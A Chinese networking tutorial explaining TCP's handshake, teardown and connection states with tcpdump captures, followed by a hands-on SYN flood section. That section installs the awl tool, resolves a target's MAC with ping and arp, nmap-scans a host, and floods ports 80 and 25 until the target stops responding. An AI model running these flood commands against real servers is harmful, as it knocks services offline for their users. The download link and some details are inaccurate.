TCP详解三次握手，四次挥手，以及SYN攻击

这个TCP连接就是一次追女生-谈恋爱-分手，追求比分手简单，但是分手比追求复杂。谈了半年的女朋友，在就快要成功了的时候分了，原因是因为有人在后面背后搞SYN洪泛攻击，最后女朋友丢失了。学会TCP,教你追回你的前女友。不再为爱迷茫。

Tcp 是传输层协议非常复杂的协议

1） TCP是面向连接的运输层协议，也就是说应用程序在使用TCP协议之前，必须先建立TCP连接在传输数据完成后，必须释放已经建立的TCP连接。

2） 每一条TCP连接只能有两个端点，每一条TCP连接只能是点对点（1:1）。

3） TCP提供可靠交付的服务，特点：无差错、不丢失、不重复、并且按时到达。

4） TCP提供全双工通信。

5） TCP面向字节流。

TCP 的连接

TCP把连接作为最基本的抽象。

TCP是一个端到端的协议，TCP的端点叫套接字或插口。

在RFC793中定义：端口号拼接到IP地址即构成套接字。（套接字 socket =(IP:Port)）

每一条TCP连接唯一地被通信两端的连个端点所确定。

TCP 连接 ：：= ={(IP1:Port1),(IP2:Port2)}

Socket（同名词代表的不同含义）

1） socket 是传输层和应用层之间的一种接口称为socket API,简称socket。

2） socketAPI中集成的函数 socket();

3） 调用socket()函数的端点称为socket,

4） 调用socket()函数时，其返回值称为socket描述符

5） 在操作系统中内核连网协议的Berkeley实现称为socket

上面这些socket 和RFC793中的不同

可靠传输的工作原理

Tcp 协议发送的报文是交给IP层传送

理想条件：

1）传输信道不产生差错

2）不管对方发送多少数据，接受方都能接收到。

1）停止等待协议

发送数据时，发送方向接收方发送数据包，每当发送方完成一个分组数据的传输就停止发送，等待对方确认，在收到确认后再发送下一个分组。如果发生超时，发送方就会重传。

①无差错情况

②出现差错

出现差错时候注意三点

必须暂时保留自己发送的分组脚本，对方收到确认后才可以清除保留的副本；

超时计时器应比数据分组传输往返平均时间更长一些，

③确认丢失和迟到

接受方发送的socket迟到了，

第一：丢弃这个重复的分组M1,不向上层交付，

第二: 向A发送确认。

2）连续ARQ协议

滑动窗口协议比较复杂，是TCP协议的精髓所在，

数据按照分组滑动发送，然后确认向前还是向后，确认后向前继续发送，这样就完成了连续发送，和累计确认，发送方对数据做了排序就可以累计发送，提高信道利用率。接受大批量数据时如果丢包后重传数据重复量较大。

TCP报文段的首部格式

1)源端口和目的端口 各占两个字节，分别写入源端口号和目的端口号。

2)序号 4字节

3)确认号4字节

4)数据偏移 占4位

5)保留

6)紧急URG

7)确认ACK

8)推送PUSH

9)复位RST

10)同步 SYN

11)终止FIN

12)窗口 2 字节

13)检验和 2字节

14)紧急指针 2字节

15)选项 最大40字节

Tcp运输连接管理，运输连接是用来传送TCP报文的，tcp运输连接的建立和释放是面向连接的通信必不可少的过程。运输连接有三个阶段，连接建立，数据传送，连接释放。

在连接过程中要解决以下三个问题

（1） 确认双方相互的存在。

（2） 要允许双方协商一些参数

（3） 能够对运输实体资源进行分配。

TCP三次握手

Tcp连接采用客户模式，主动发起方为客户，被动接收方为服务器

开始，A和B 都是处于关闭状态，A主动打开连接，发送一个信号，B被动的打开连接，

B 的CTP服务进程先创建传输控制块TCB,准备接受客户进程的连接请求。然后服务器进程处于Listen状态，等待客户的连接请求。

A de TCP 客户进程也首先创建出传输控制块TCB,然后向B发送连接请求报文段，这时候，首部的SYN = 1,同时选择一个初始序号 seq=x 。TCP规定SYN报文不能携带数据（SYN=1），但是要消耗一个序号，这时，tcp客户端进入 SYN-SENT（同步已经发送）状态。

B收到连接请求报文后，如同意建立连接，则向A发送确认，再确认报文段中把SYN和ACK都置为1，确认号为ack=x+1,同时也为自己选择一个序号seq=y,请注意，这个报文段不能携带数据，，同样消耗一个序号，这样TCP服务器进程进入SYN-RECVD(同步收到)状态。

TCP客户进程收到B的确认后，还要向B给出确认，确认报文段的ACK=1 确认号ack=y+1,自己的序列号为seq=x+1. TCP 规定此时ACK可以携带报文。在这种情况下下一个数据报的序号任然是seq=x+1,这时TCP连接已经建立，A进入ESTABLISHED(已建立连接)状态。B收到确认后也进入ESTABLISHED(已建立连接)状态。

所以，以上建立连接过程为三次握手。（three-way handshake）.

四次握手协议

TCP连接释放过程比较复杂，数据传输结束后通信双方都可以关闭连接，现在处于连接状态ESTABLISHED

A 的进程连接先向其发送TCP发出连接释放报文段，并停止再发送数据，主动关闭TCP连接。A把连接释放报文段首部的终止位控制位FIN置为1，序号seq = u ,u=前面传送完成的数据的最后一个字节的序号+1.这个时候A进入FIN-WAIT-1（终止等待1）状态，等待B的确认，TCP 规定，FIN报文不准携带数据，其消耗一个序号。

B收到连接释放报文段请求后确认，确认号ack = u +1, 而这个报文段自己的序号是v，等于B前面已传送过的最后一个字符的序号+1,然后进入CLOSE-WAIT（关闭等待）状态。TCP服务器进程这时通知最高层应用进程，因此A到B方向的连接就释放了，这时的TCP连接处于半关闭（half-close）状态，即A已经没有数据需要发送了，但是B 若发送数据，A任然要接受，也就是说从B到A 方向的连接还没关闭。这个状态会持续一段时间。

A收到B 的来信后进入FIN-WAIT-2(终止等待2)状态，等待B发出的连接释放报文。

若B没有要想A发送的数据，其应用进程就通知TCP释放连接。这时B发出的连接文FIN=1.现在假定B的序号为w（在半关闭状态B可能又发送了一条数）。B还必须重复上次已发送的确认号ack= u+1.这时候B进入LAST-ACK(最后确认)状态,等待A确认。

A在接受到B的连接释放报文后，必须对此发出确认。在确认报文段追中把ACK置为1，确认号ack=w+1, 自己的序号seq = u+1。(TCP标准，前面发送过的FIN报文要消耗掉一个序号)。然后进入到TIME-WAIT（等待时间）状态。请注意现在的TCP 还没释放掉，必须经过时间等待计时器设置的2MSL后，A才进入到CLOSED状态。时间MSL叫做最长报文段寿命，RFC793 中2分钟实际没这么长，因此A进入到TIME-WAIT状态后A经过4分钟才能到CLOSE状态，才能开始建立下一个新的连接，当A撤销相应的传输控制块TCB后，就结束了这次TCP连接。

B只要收到A发送的确认，就进入CLOSE关闭状态.B在撤销相应的传输控制块TCB后，就结束了这次的TCP连接。

上述的TCP连接过程称为四次握手。

为什么两次等待必须为2MSL时间？

第一：为了保证A发送的最后一个ACK报文能够到达B

第二：防止上一节提到的“以失效的连接请求报文段”，出现在本连接中。

一，TCP三次握手及TCP连接状态

TCP报文首部格式：

解释以上信息：

ACK: TCP协议规定，只有ACK=1时有效，连接建立后所有发送的报文ACK必须为1

SYN（SYNchronization同步）:在连接建立用来同步序号。当SYN＝1而ACK=0时，表明这是一个连接请求报文。对方若同意建立连接，则应在响应报文中使用SYN=1和ACK=1因此，SYN置1表示这是一个连接请求或连接接受报文。

FIN（FINIS）即完，终结的意思，用来释放一个连接。当FIN=1时，表明此报文段发送方的数据已经发送完毕，并要求释放连接。

建立TCP连接时的TCP三次握手和断开TCP连接时的4次挥手整体过程如下图：

下面进行实战：使用tcpdump抓取TCP三次握手

TCP三次握手过程：

1. 首先由Client发出请求连接即SYN=1,声明自己的序号seq=X

2.然后Server进行回复确认，即SYN=1 声明自己的序号seq=y，并设置ack=x+1

3.最后Client再进行一次确认，设置seq=x+1 ack+y+1

注：seq 序列号范围：2^32-1 如果超过最大值，再从0开始

seq 序列号作用：依据这个序列号来组数据，如果发N个数据包，服务端会按序列号来重新组装数据

实战1：使用tcpdump抓包查看TCP三次握手过程：

tcpdump 常用参数：

－c 指定包个数

－n ip,端口用数字方式显示

port 指定端口

Client:192.168.180.162 server:192.168.180.163

在clent上登陆，抓取ssh远程产生的tcp三次握手包：

[root@zylei 桌面]# tcpdump port 22 -c 3 -n

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

#提示一直在监听eth0

再另一个虚拟终端通过ssh连接到server端

回到原来虚拟终端上来

[root@zylei 桌面]# tcpdump port 22 -c 3 -n

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

3 packets captured

3 packets received by filter

0 packets dropped by kernel

#Flag[S]中的S表示为SYN包为1 。client主机返回ack=1 这个值为相对序号，如果想查看完整序号可以命令后面加－S

[root@zylei 桌面]# tcpdump port 22 -c 3 -n -S

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

3 packets captured

3 packets received by filter

0 packets dropped by kernel

TCP连接状态

服务器端：LISTEN：侦听来自远方的TCP端口的连接请求

客户端：SYN-SENT：再发送连接请求后等待匹配的连接请求

服务器端：SYN-RECEIVED：再收到和发送一个连接请求后等待对方对连接请求的确认

客户端/服务器端：ESTABLISHED：代表一个打开的连接

客户端：FIN-WAIT-1：等待远程TCP连接中断请求，或先前的连接中断请求的确认

服务器端：CLOSE-WAIT：等待从本地用户发来的连接中断请求

客户端：FIN-WAIT-2：从远程TCP等待连接中断请求

服务器端：LAST-ACK：等待原来的发向远程TCP的连接中断请求的确认

客户端：TIME-WAIT：等待足够的时间以确保远程TCP接收到连接中断请求的确认

服务器端：CLOSED：没有任何连接状态

SYN洪水攻击概述：

SYN洪水攻击主要源于： tcp协议的三次握手机制

tcp协议面向链接的协议

SYN洪水攻击的过程：

在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端，如果发起的客户是一个不存在的客户端，那么服务端就不会接到客户端回应的ACK包。

这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接，直到等待超关闭时间，才能施放内存。

如果恶意者通过通过ip欺骗，发送大量SYN包给受害者系统，导致服务端存在大量未决的连接并占用大量内存和tcp连接，从而导致正常客户端无法访问服务端，这就是SYN洪水攻击的过程。

3：使用awl伪装MAC对内网的服务器施实syn洪水攻击

实战拓扑图：

在客户机上安装awl软件进行攻击

下载地址：

https://gitlab.com/davical-project/awl/tags

上传到linux系统中

开始安装awl 0.5*之后的版本不能使用

[root@zylei ~]#tar zxvf awl-0.2.tar.gz #解压

[root@zylei ~]#cd awl-0.2

[root@zylei awl-0.2]#./configure #查检软件包安装环境

[root@zylei awl-0.2]#make -j 4

#make把源代码编译成可执行的二进制文件

# -j 4以4个进程同时编译，速度快

[root@zylei awl-0.2]#make install #安装

查看安装的命令：

[root@zylei awl-0.2]# which awl

/usr/local/bin/awl

在xuegod64上搭建一台web服务器，模拟要被攻击的服务器

[root@carl ~]# yum install httpd -y #安装web服务器

[root@carl ~]# service httpd start

开始攻击：

实战4： 在局域网中使用 awl伪装MAC地址进行多线程SYN攻击

获取对方的IP地址解析成MAC地址

[root@zylei ~]# ping 192.168.180.163

[root@zylei ~]# arp -n

Address HWtype HWaddress Flags Mask Iface

192.168.180.163 ether 00:0c:29:cc:16:4d C eth0

192.168.180.220 ether 02:09:0f:78:d0:42 C eth0

192.168.180.207 ether 60:a4:4c:4d:86:75 C

开始攻击：

awl参数如下:

-i 发送包的接口,如果省略默认是eth0

-m 指定目标mac地址 注：如果-m没有指定mac，默认目标MAC地址是“FF.FF.FF.FF.FF.FF”，FF.FF.FF.FF.FF.FFMAC地址是什么？

这表示向同一网段内的所有主机发出ARP广播，进行SYN攻击，还容易使整个局域网瘫痪。

-d 被攻击机器的IP

-p 被攻击机器的端口

[root@zylei ~]# awl -i eth0 -m 00:0c:29:cc:16:4d -d 192.168.180.163 -p 80

测试攻击效果：

在server (carl)上查看：发现很多伪装成公网的IP在攻击我们

[root@carl ~]# netstat -antup |grep 80

Awl 安装，以及测试攻击

一,安装:

tar -zxvf awl-0.2.tar.gz

./configure --prefix=/usr/local/awl

make

make install

awl的执行程序安装后在/usr/local/awl/bin目录下

二,说明:

awl 的格式如下:

./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d ip -p port

参数如下:

-i 发送包的接口,如果省略默认是eth0

-m 被***机器的mac地址,程序不能根据被***IP得到MAC,需要手工指定.先ping 目标IP,再arp -a就可以看到.如果省略则为ff:ff:ff:ff:ff:ff

-d 被***机器的IP

-p 被***机器的端口.

三,测试,

服务器端:Centos 5.4

对方服务器:redhat 运行邮件服务器，sendmail

1,首先得知对方IP

运行nmap -v -A 10.122.89.106 查看对方开了啥服务

[root@localhost bin]# nmap -v -A 10.122.89.106

Starting Nmap 4.11 (http://www.insecure.org/nmap/) at 2008-06-02 19:24 CST

DNS resolution of 1 IPs took 0.39s.

Initiating SYN Stealth Scan against 10.122.89.106 [1680 ports] at 19:24

Discovered open port 21/tcp on 10.122.89.106

Discovered open port 25/tcp on 10.122.89.106

Discovered open port 22/tcp on 10.122.89.106

Discovered open port 443/tcp on 10.122.89.106

Discovered open port 80/tcp on 10.122.89.106

Discovered open port 199/tcp on 10.122.89.106

Discovered open port 110/tcp on 10.122.89.106

Discovered open port 143/tcp on 10.122.89.106

Discovered open port 3306/tcp on 10.122.89.106

得知对方开了如上端口

ping 10.122.89.106 得知mac地址

查看arp -a 得知对方IP的MAC地址

2.开始***:

./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d 10.122.89.106 -p 25

ping 10.122.89.106 -t 查下对方反应

四,测试效果

***一开始,对方明显挂掉,各种应用无反应,

如下是抓包:

[root@localhost ~]# tcpdump

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

以上实验只用于学习TCP，严静用于违法犯罪。

不当使用，后果自负。未经博主同意不得转载。